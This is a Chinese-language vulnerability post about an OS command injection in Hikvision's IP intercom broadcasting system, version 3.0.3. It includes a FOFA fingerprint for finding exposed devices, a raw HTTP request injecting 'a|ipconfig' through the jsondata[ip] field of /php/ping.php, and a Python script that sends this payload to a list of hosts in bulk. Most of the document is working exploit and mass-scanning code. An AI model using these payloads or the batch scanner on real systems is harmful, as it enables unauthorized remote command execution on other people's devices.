声明
 本文仅用于技术交流,请勿用于非法用途
 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
1.漏洞描述
Hikvision Intercom Broadcasting System是中国海康威视(Hikvision)公司的一个对讲广播系统。Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK)版本存在操作系统命令注入漏洞,该漏洞源于文件/php/ping.php的参数jsondata[ip]会导致操作系统命令注入。
2.影响版本
海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE
3.fofa查询语句
icon_hash="-1830859634"
4.漏洞复现
POST /php/ping.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
jsondata[ip]=a|ipconfig&jsondata[type]=1 

tips:这里的图有点问题,转码这个好像是他服务器的原因,我试过yakit和bp都是这样,而且我从来没改过这两软件的编码配置。
5.POC批量检测脚本
import argparse
import time
import requests
parser = argparse.ArgumentParser(description='Hikvision SPON IP网络对讲广播系统命令执行')
parser.add_argument('-f',help='Batch detection file name',type=str)
args = parser.parse_args()
file = args.f
def get_url(file):
    with open('{}'.format(file),'r',encoding='utf-8') as f:
        for i in f:
            i = i.replace('\n', '')
            send_req("http://"+i)
def send_req(url_check):
    print('{} runing Check'.format(url_check))
    url = url_check + '/php/ping.php'
    header = {
        'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Connection': 'close',
        'Content-Length': '40',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    data = (
        "jsondata[ip]=a|ipconfig&jsondata[type]=1"
    )
    try:
        requests.packages.urllib3.disable_warnings()
        response = requests.post(url=url,headers=header,data=data,timeout=3)
        if response.status_code == 200 and 'Windows IP' in response.text:
            print('存在Hikvision SPON IP网络对讲广播系统命令执行漏洞,请尽快修复漏洞!!!')
    except Exception as e:
        print(e)
        pass
if __name__ == '__main__':
    if file is None:
        print('请在当前目录下新建需要检测的url.txt')
    else:
        get_url(file) 

用法
python ./Hikvision SPON IP网络对讲广播系统命令执行.py -f ./url.txt



















